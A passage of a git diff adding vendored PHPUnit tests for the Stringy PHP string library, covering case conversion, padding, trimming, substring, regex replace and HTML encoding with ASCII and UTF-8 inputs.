BÀŘ', 'UTF-8'), + array(true, 'FÒÔBàř', 'UTF-8'), + ); + } + + public function isHexadecimalProvider() + { + return array( + array(true, ''), + array(true, 'abcdef'), + array(true, 'ABCDEF'), + array(true, '0123456789'), + array(true, '0123456789AbCdEf'), + array(false, '0123456789x'), + array(false, 'ABCDEFx'), + array(true, 'abcdef', 'UTF-8'), + array(true, 'ABCDEF', 'UTF-8'), + array(true, '0123456789', 'UTF-8'), + array(true, '0123456789AbCdEf', 'UTF-8'), + array(false, '0123456789x', 'UTF-8'), + array(false, 'ABCDEFx', 'UTF-8'), + ); + } + + public function countSubstrProvider() + { + return array( + array(0, '', 'foo'), + array(0, 'foo', 'bar'), + array(1, 'foo bar', 'foo'), + array(2, 'foo bar', 'o'), + array(0, '', 'fòô', 'UTF-8'), + array(0, 'fòô', 'bàř', 'UTF-8'), + array(1, 'fòô bàř', 'fòô', 'UTF-8'), + array(2, 'fôòô bàř', 'ô', 'UTF-8'), + array(0, 'fÔÒÔ bàř', 'ô', 'UTF-8'), + array(0, 'foo', 'BAR', false), + array(1, 'foo bar', 'FOo', false), + array(2, 'foo bar', 'O', false), + array(1, 'fòô bàř', 'fÒÔ', false, 'UTF-8'), + array(2, 'fôòô bàř', 'Ô', false, 'UTF-8'), + array(2, 'συγγραφέας', 'Σ', false, 'UTF-8') + ); + } + + public function replaceProvider() + { + return array( + array('', '', '', ''), + array('foo', '', '', 'foo'), + array('foo', '\s', '\s', 'foo'), + array('foo bar', 'foo bar', '', ''), + array('foo bar', 'foo bar', 'f(o)o', '\1'), + array('\1 bar', 'foo bar', 'foo', '\1'), + array('bar', 'foo bar', 'foo ', ''), + array('far bar', 'foo bar', 'foo', 'far'), + array('bar bar', 'foo bar foo bar', 'foo ', ''), + array('', '', '', '', 'UTF-8'), + array('fòô', '', '', 'fòô', 'UTF-8'), + array('fòô', '\s', '\s', 'fòô', 'UTF-8'), + array('fòô bàř', 'fòô bàř', '', '', 'UTF-8'), + array('bàř', 'fòô bàř', 'fòô ', '', 'UTF-8'), + array('far bàř', 'fòô bàř', 'fòô', 'far', 'UTF-8'), + array('bàř bàř', 'fòô bàř fòô bàř', 'fòô ', '', 'UTF-8'), + ); + } + + public function regexReplaceProvider() + { + return array( + array('', '', '', ''), + array('bar', 'foo', 'f[o]+', 'bar'), + array('o bar', 'foo bar', 'f(o)o', '\1'), + array('bar', 'foo bar', 'f[O]+\s', '', 'i'), + array('foo', 'bar', '[[:alpha:]]{3}', 'foo'), + array('', '', '', '', 'msr', 'UTF-8'), + array('bàř', 'fòô ', 'f[òô]+\s', 'bàř', 'msr', 'UTF-8'), + array('fòô', 'bàř', '[[:alpha:]]{3}', 'fòô', 'msr', 'UTF-8') + ); + } + + public function htmlEncodeProvider() + { + return array( + array('&', '&'), + array('"', '"'), + array(''', "'", ENT_QUOTES), + array('<', '<'), + array('>', '>'), + ); + } + + public function htmlDecodeProvider() + { + return array( + array('&', '&'), + array('"', '"'), + array("'", ''', ENT_QUOTES), + array('<', '<'), + array('>', '>'), + ); + } +} diff --git a/vendor/danielstjules/stringy/tests/CreateTest.php b/vendor/danielstjules/stringy/tests/CreateTest.php new file mode 100644 index 00000000..aef9c9fa --- /dev/null +++ b/vendor/danielstjules/stringy/tests/CreateTest.php @@ -0,0 +1,16 @@ +assertInstanceOf('Stringy\Stringy', $stringy); + $this->assertEquals('foo bar', (string) $stringy); + $this->assertEquals('UTF-8', $stringy->getEncoding()); + } +} diff --git a/vendor/danielstjules/stringy/tests/StaticStringyTest.php b/vendor/danielstjules/stringy/tests/StaticStringyTest.php new file mode 100644 index 00000000..5d17bc6a --- /dev/null +++ b/vendor/danielstjules/stringy/tests/StaticStringyTest.php @@ -0,0 +1,710 @@ +assertEquals($expected, $result); + } + + /** + * @dataProvider indexOfLastProvider() + */ + public function testIndexOfLast($expected, $str, $subStr, $offset = 0, $encoding = null) + { + $result = S::indexOfLast($str, $subStr, $offset, $encoding); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider charsProvider() + */ + public function testChars($expected, $str, $encoding = null) + { + $result = S::chars($str, $encoding); + $this->assertInternalType('array', $result); + foreach ($result as $char) { + $this->assertInternalType('string', $char); + } + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider upperCaseFirstProvider() + */ + public function testUpperCaseFirst($expected, $str, $encoding = null) + { + $result = S::upperCaseFirst($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider lowerCaseFirstProvider() + */ + public function testLowerCaseFirst($expected, $str, $encoding = null) + { + $result = S::lowerCaseFirst($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider camelizeProvider() + */ + public function testCamelize($expected, $str, $encoding = null) + { + $result = S::camelize($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider upperCamelizeProvider() + */ + public function testUpperCamelize($expected, $str, $encoding = null) + { + $result = S::upperCamelize($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider dasherizeProvider() + */ + public function testDasherize($expected, $str, $encoding = null) + { + $result = S::dasherize($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider underscoredProvider() + */ + public function testUnderscored($expected, $str, $encoding = null) + { + $result = S::underscored($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider swapCaseProvider() + */ + public function testSwapCase($expected, $str, $encoding = null) + { + $result = S::swapCase($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider titleizeProvider() + */ + public function testTitleize($expected, $str, $ignore = null, + $encoding = null) + { + $result = S::titleize($str, $ignore, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider humanizeProvider() + */ + public function testHumanize($expected, $str, $encoding = null) + { + $result = S::humanize($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider tidyProvider() + */ + public function testTidy($expected, $str) + { + $result = S::tidy($str); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider collapseWhitespaceProvider() + */ + public function testCollapseWhitespace($expected, $str, $encoding = null) + { + $result = S::collapseWhitespace($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider toAsciiProvider() + */ + public function testToAscii($expected, $str, $removeUnsupported = true) + { + $result = S::toAscii($str, $removeUnsupported); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider padProvider() + */ + public function testPad($expected, $str, $length, $padStr = ' ', + $padType = 'right', $encoding = null) + { + $result = S::pad($str, $length, $padStr, $padType, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @expectedException \InvalidArgumentException + */ + public function testPadException() + { + $result = S::pad('string', 5, 'foo', 'bar'); + } + + /** + * @dataProvider padLeftProvider() + */ + public function testPadLeft($expected, $str, $length, $padStr = ' ', + $encoding = null) + { + $result = S::padLeft($str, $length, $padStr, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider padRightProvider() + */ + public function testPadRight($expected, $str, $length, $padStr = ' ', + $encoding = null) + { + $result = S::padRight($str, $length, $padStr, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider padBothProvider() + */ + public function testPadBoth($expected, $str, $length, $padStr = ' ', + $encoding = null) + { + $result = S::padBoth($str, $length, $padStr, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider startsWithProvider() + */ + public function testStartsWith($expected, $str, $substring, + $caseSensitive = true, $encoding = null) + { + $result = S::startsWith($str, $substring, $caseSensitive, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider endsWithProvider() + */ + public function testEndsWith($expected, $str, $substring, + $caseSensitive = true, $encoding = null) + { + $result = S::endsWith($str, $substring, $caseSensitive, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider toSpacesProvider() + */ + public function testToSpaces($expected, $str, $tabLength = 4) + { + $result = S::toSpaces($str, $tabLength); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider toTabsProvider() + */ + public function testToTabs($expected, $str, $tabLength = 4) + { + $result = S::toTabs($str, $tabLength); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider toLowerCaseProvider() + */ + public function testToLowerCase($expected, $str, $encoding = null) + { + $result = S::toLowerCase($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider toTitleCaseProvider() + */ + public function testToTitleCase($expected, $str, $encoding = null) + { + $result = S::toTitleCase($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider toUpperCaseProvider() + */ + public function testToUpperCase($expected, $str, $encoding = null) + { + $result = S::toUpperCase($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider slugifyProvider() + */ + public function testSlugify($expected, $str, $replacement = '-') + { + $result = S::slugify($str, $replacement); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider containsProvider() + */ + public function testContains($expected, $haystack, $needle, + $caseSensitive = true, $encoding = null) + { + $result = S::contains($haystack, $needle, $caseSensitive, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider containsAnyProvider() + */ + public function testcontainsAny($expected, $haystack, $needles, + $caseSensitive = true, $encoding = null) + { + $result = S::containsAny($haystack, $needles, $caseSensitive, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider containsAllProvider() + */ + public function testContainsAll($expected, $haystack, $needles, + $caseSensitive = true, $encoding = null) + { + $result = S::containsAll($haystack, $needles, $caseSensitive, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider surroundProvider() + */ + public function testSurround($expected, $str, $substring) + { + $result = S::surround($str, $substring); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider insertProvider() + */ + public function testInsert($expected, $str, $substring, $index, + $encoding = null) + { + $result = S::insert($str, $substring, $index, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider truncateProvider() + */ + public function testTruncate($expected, $str, $length, $substring = '', + $encoding = null) + { + $result = S::truncate($str, $length, $substring, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider safeTruncateProvider() + */ + public function testSafeTruncate($expected, $str, $length, $substring = '', + $encoding = null) + { + $result = S::safeTruncate($str, $length, $substring, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider reverseProvider() + */ + public function testReverse($expected, $str, $encoding = null) + { + $result = S::reverse($str, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider shuffleProvider() + */ + public function testShuffle($str, $encoding = null) + { + $result = S::shuffle($str, $encoding); + $encoding = $encoding ?: mb_internal_encoding(); + + $this->assertInternalType('string', $result); + $this->assertEquals(mb_strlen($str, $encoding), + mb_strlen($result, $encoding)); + + // We'll make sure that the chars are present after shuffle + for ($i = 0; $i < mb_strlen($str, $encoding); $i++) { + $char = mb_substr($str, $i, 1, $encoding); + $countBefore = mb_substr_count($str, $char, $encoding); + $countAfter = mb_substr_count($result, $char, $encoding); + $this->assertEquals($countBefore, $countAfter); + } + } + + /** + * @dataProvider trimProvider() + */ + public function testTrim($expected, $str, $chars = null, $encoding = null) + { + $result = S::trim($str, $chars, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider trimLeftProvider() + */ + public function testTrimLeft($expected, $str, $chars = null, + $encoding = null) + { + $result = S::trimLeft($str, $chars, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider trimRightProvider() + */ + public function testTrimRight($expected, $str, $chars = null, + $encoding = null) + { + $result = S::trimRight($str, $chars, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider longestCommonPrefixProvider() + */ + public function testLongestCommonPrefix($expected, $str, $otherStr, + $encoding = null) + { + $result = S::longestCommonPrefix($str, $otherStr, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider longestCommonSuffixProvider() + */ + public function testLongestCommonSuffix($expected, $str, $otherStr, + $encoding = null) + { + $result = S::longestCommonSuffix($str, $otherStr, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider longestCommonSubstringProvider() + */ + public function testLongestCommonSubstring($expected, $str, $otherStr, + $encoding = null) + { + $result = S::longestCommonSubstring($str, $otherStr, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider lengthProvider() + */ + public function testLength($expected, $str, $encoding = null) + { + $result = S::length($str, $encoding); + $this->assertEquals($expected, $result); + $this->assertInternalType('int', $result); + } + + /** + * @dataProvider substrProvider() + */ + public function testSubstr($expected, $str, $start, $length = null, + $encoding = null) + { + $result = S::substr($str, $start, $length, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider atProvider() + */ + public function testAt($expected, $str, $index, $encoding = null) + { + $result = S::at($str, $index, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider firstProvider() + */ + public function testFirst($expected, $str, $n, $encoding = null) + { + $result = S::first($str, $n, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider lastProvider() + */ + public function testLast($expected, $str, $n, $encoding = null) + { + $result = S::last($str, $n, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider ensureLeftProvider() + */ + public function testEnsureLeft($expected, $str, $substring, $encoding = null) + { + $result = S::ensureLeft($str, $substring, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider ensureRightProvider() + */ + public function testEnsureRight($expected, $str, $substring, $encoding = null) + { + $result = S::ensureRight($str, $substring, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider removeLeftProvider() + */ + public function testRemoveLeft($expected, $str, $substring, $encoding = null) + { + $result = S::removeLeft($str, $substring, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider removeRightProvider() + */ + public function testRemoveRight($expected, $str, $substring, $encoding = null) + { + $result = S::removeRight($str, $substring, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider isAlphaProvider() + */ + public function testIsAlpha($expected, $str, $encoding = null) + { + $result = S::isAlpha($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider isAlphanumericProvider() + */ + public function testIsAlphanumeric($expected, $str, $encoding = null) + { + $result = S::isAlphanumeric($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider isBlankProvider() + */ + public function testIsBlank($expected, $str, $encoding = null) + { + $result = S::isBlank($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider isJsonProvider() + */ + public function testIsJson($expected, $str, $encoding = null) + { + $result = S::isJson($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider isLowerCaseProvider() + */ + public function testIsLowerCase($expected, $str, $encoding = null) + { + $result = S::isLowerCase($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider hasLowerCaseProvider() + */ + public function testHasLowerCase($expected, $str, $encoding = null) + { + $result = S::hasLowerCase($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider isSerializedProvider() + */ + public function testIsSerialized($expected, $str, $encoding = null) + { + $result = S::isSerialized($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider isUpperCaseProvider() + */ + public function testIsUpperCase($expected, $str, $encoding = null) + { + $result = S::isUpperCase($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider hasUpperCaseProvider() + */ + public function testHasUpperCase($expected, $str, $encoding = null) + { + $result = S::hasUpperCase($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider isHexadecimalProvider() + */ + public function testIsHexadecimal($expected, $str, $encoding = null) + { + $result = S::isHexadecimal($str, $encoding); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider countSubstrProvider() + */ + public function testCountSubstr($expected, $str, $substring, + $caseSensitive = true, $encoding = null) + { + $result = S::countSubstr($str, $substring, $caseSensitive, $encoding); + $this->assertInternalType('int', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider replaceProvider() + */ + public function testReplace($expected, $str, $search, $replacement, + $encoding = null) + { + $result = S::replace($str, $search, $replacement, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider regexReplaceProvider() + */ + public function testRegexReplace($expected, $str, $pattern, $replacement, + $options = 'msr', $encoding = null) + { + $result = S::regexReplace($str, $pattern, $replacement, $options, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider htmlEncodeProvider() + */ + public function testHtmlEncode($expected, $str, $flags = ENT_COMPAT, $encoding = null) + { + $result = S::htmlEncode($str, $flags, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider htmlDecodeProvider() + */ + public function testHtmlDecode($expected, $str, $flags = ENT_COMPAT, $encoding = null) + { + $result = S::htmlDecode($str, $flags, $encoding); + $this->assertInternalType('string', $result); + $this->assertEquals($expected, $result); + } +} diff --git a/vendor/danielstjules/stringy/tests/StringyTest.php b/vendor/danielstjules/stringy/tests/StringyTest.php new file mode 100644 index 00000000..b5edc43e --- /dev/null +++ b/vendor/danielstjules/stringy/tests/StringyTest.php @@ -0,0 +1,994 @@ +assertStringy($stringy); + $this->assertEquals('foo bar', (string) $stringy); + $this->assertEquals('UTF-8', $stringy->getEncoding()); + } + + /** + * @expectedException InvalidArgumentException + */ + public function testConstructWithArray() + { + (string) new S(array()); + $this->fail('Expecting exception when the constructor is passed an array'); + } + + /** + * @expectedException InvalidArgumentException + */ + public function testMissingToString() + { + (string) new S(new stdClass()); + $this->fail('Expecting exception when the constructor is passed an ' . + 'object without a __toString method'); + } + + /** + * @dataProvider toStringProvider() + */ + public function testToString($expected, $str) + { + $this->assertEquals($expected, (string) new S($str)); + } + + public function toStringProvider() + { + return array( + array('', null), + array('', false), + array('1', true), + array('-9', -9), + array('1.18', 1.18), + array(' string ', ' string ') + ); + } + + public function testCreate() + { + $stringy = S::create('foo bar', 'UTF-8'); + $this->assertStringy($stringy); + $this->assertEquals('foo bar', (string) $stringy); + $this->assertEquals('UTF-8', $stringy->getEncoding()); + } + + public function testChaining() + { + $stringy = S::create("Fòô Bàř", 'UTF-8'); + $this->assertStringy($stringy); + $result = $stringy->collapseWhitespace()->swapCase()->upperCaseFirst(); + $this->assertEquals('FÒÔ bÀŘ', $result); + } + + public function testCount() + { + $stringy = S::create('Fòô', 'UTF-8'); + $this->assertEquals(3, $stringy->count()); + $this->assertEquals(3, count($stringy)); + } + + public function testGetIterator() + { + $stringy = S::create('Fòô Bàř', 'UTF-8'); + + $valResult = array(); + foreach ($stringy as $char) { + $valResult[] = $char; + } + + $keyValResult = array(); + foreach ($stringy as $pos => $char) { + $keyValResult[$pos] = $char; + } + + $this->assertEquals(array('F', 'ò', 'ô', ' ', 'B', 'à', 'ř'), $valResult); + $this->assertEquals(array('F', 'ò', 'ô', ' ', 'B', 'à', 'ř'), $keyValResult); + } + + /** + * @dataProvider offsetExistsProvider() + */ + public function testOffsetExists($expected, $offset) + { + $stringy = S::create('fòô', 'UTF-8'); + $this->assertEquals($expected, $stringy->offsetExists($offset)); + $this->assertEquals($expected, isset($stringy[$offset])); + } + + public function offsetExistsProvider() + { + return array( + array(true, 0), + array(true, 2), + array(false, 3), + array(true, -1), + array(true, -3), + array(false, -4) + ); + } + + public function testOffsetGet() + { + $stringy = S::create('fòô', 'UTF-8'); + + $this->assertEquals('f', $stringy->offsetGet(0)); + $this->assertEquals('ô', $stringy->offsetGet(2)); + + $this->assertEquals('ô', $stringy[2]); + } + + /** + * @expectedException \OutOfBoundsException + */ + public function testOffsetGetOutOfBounds() + { + $stringy = S::create('fòô', 'UTF-8'); + $test = $stringy[3]; + } + + /** + * @expectedException \Exception + */ + public function testOffsetSet() + { + $stringy = S::create('fòô', 'UTF-8'); + $stringy[1] = 'invalid'; + } + + /** + * @expectedException \Exception + */ + public function testOffsetUnset() + { + $stringy = S::create('fòô', 'UTF-8'); + unset($stringy[1]); + } + + /** + * @dataProvider indexOfProvider() + */ + public function testIndexOf($expected, $str, $subStr, $offset = 0, $encoding = null) + { + $result = S::create($str, $encoding)->indexOf($subStr, $offset); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider indexOfLastProvider() + */ + public function testIndexOfLast($expected, $str, $subStr, $offset = 0, $encoding = null) + { + $result = S::create($str, $encoding)->indexOfLast($subStr, $offset); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider charsProvider() + */ + public function testChars($expected, $str, $encoding = null) + { + $result = S::create($str, $encoding)->chars(); + $this->assertInternalType('array', $result); + foreach ($result as $char) { + $this->assertInternalType('string', $char); + } + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider upperCaseFirstProvider() + */ + public function testUpperCaseFirst($expected, $str, $encoding = null) + { + $result = S::create($str, $encoding)->upperCaseFirst(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + } + + /** + * @dataProvider lowerCaseFirstProvider() + */ + public function testLowerCaseFirst($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->lowerCaseFirst(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider camelizeProvider() + */ + public function testCamelize($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->camelize(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider upperCamelizeProvider() + */ + public function testUpperCamelize($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->upperCamelize(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider dasherizeProvider() + */ + public function testDasherize($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->dasherize(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider underscoredProvider() + */ + public function testUnderscored($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->underscored(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider delimitProvider() + */ + public function testDelimit($expected, $str, $delimiter, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->delimit($delimiter); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider swapCaseProvider() + */ + public function testSwapCase($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->swapCase(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider titleizeProvider() + */ + public function testTitleize($expected, $str, $ignore = null, + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->titleize($ignore); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider humanizeProvider() + */ + public function testHumanize($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->humanize(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider tidyProvider() + */ + public function testTidy($expected, $str) + { + $stringy = S::create($str); + $result = $stringy->tidy(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider collapseWhitespaceProvider() + */ + public function testCollapseWhitespace($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->collapseWhitespace(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider toAsciiProvider() + */ + public function testToAscii($expected, $str, $removeUnsupported = true) + { + $stringy = S::create($str); + $result = $stringy->toAscii($removeUnsupported); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider padProvider() + */ + public function testPad($expected, $str, $length, $padStr = ' ', + $padType = 'right', $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->pad($length, $padStr, $padType); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @expectedException \InvalidArgumentException + */ + public function testPadException() + { + $stringy = S::create('foo'); + $result = $stringy->pad(5, 'foo', 'bar'); + } + + /** + * @dataProvider padLeftProvider() + */ + public function testPadLeft($expected, $str, $length, $padStr = ' ', + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->padLeft($length, $padStr); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider padRightProvider() + */ + public function testPadRight($expected, $str, $length, $padStr = ' ', + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->padRight($length, $padStr); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider padBothProvider() + */ + public function testPadBoth($expected, $str, $length, $padStr = ' ', + $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->padBoth($length, $padStr); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider startsWithProvider() + */ + public function testStartsWith($expected, $str, $substring, + $caseSensitive = true, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->startsWith($substring, $caseSensitive); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider endsWithProvider() + */ + public function testEndsWith($expected, $str, $substring, + $caseSensitive = true, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->endsWith($substring, $caseSensitive); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider toSpacesProvider() + */ + public function testToSpaces($expected, $str, $tabLength = 4) + { + $stringy = S::create($str); + $result = $stringy->toSpaces($tabLength); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider toTabsProvider() + */ + public function testToTabs($expected, $str, $tabLength = 4) + { + $stringy = S::create($str); + $result = $stringy->toTabs($tabLength); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider toLowerCaseProvider() + */ + public function testToLowerCase($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->toLowerCase(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider toTitleCaseProvider() + */ + public function testToTitleCase($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->toTitleCase(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider toUpperCaseProvider() + */ + public function testToUpperCase($expected, $str, $encoding = null) + { + $stringy = S::create($str, $encoding); + $result = $stringy->toUpperCase(); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider slugifyProvider() + */ + public function testSlugify($expected, $str, $replacement = '-') + { + $stringy = S::create($str); + $result = $stringy->slugify($replacement); + $this->assertStringy($result); + $this->assertEquals($expected, $result); + $this->assertEquals($str, $stringy); + } + + /** + * @dataProvider containsProvider() + */ + public function testContains($expected, $haystack, $needle, + $caseSensitive = true, $encoding = null) + { + $stringy = S::create($haystack, $encoding); + $result = $stringy->contains($needle, $caseSensitive); + $this->assertInternalType('boolean', $result); + $this->assertEquals($expected, $result); + $this->assertEquals($haystack, $stringy); + } + + /** + * @dataProvider containsAnyProvider() + */ + public function testcontainsAny($expected, $haystack, $needles, + $caseSensitive = true, $encoding = null) + { + $stringy = S::create($haystack, $encoding); + $result = $stringy->containsAny($needles, $caseSensitive); + $this->assertInternalType('boolean', $result); + 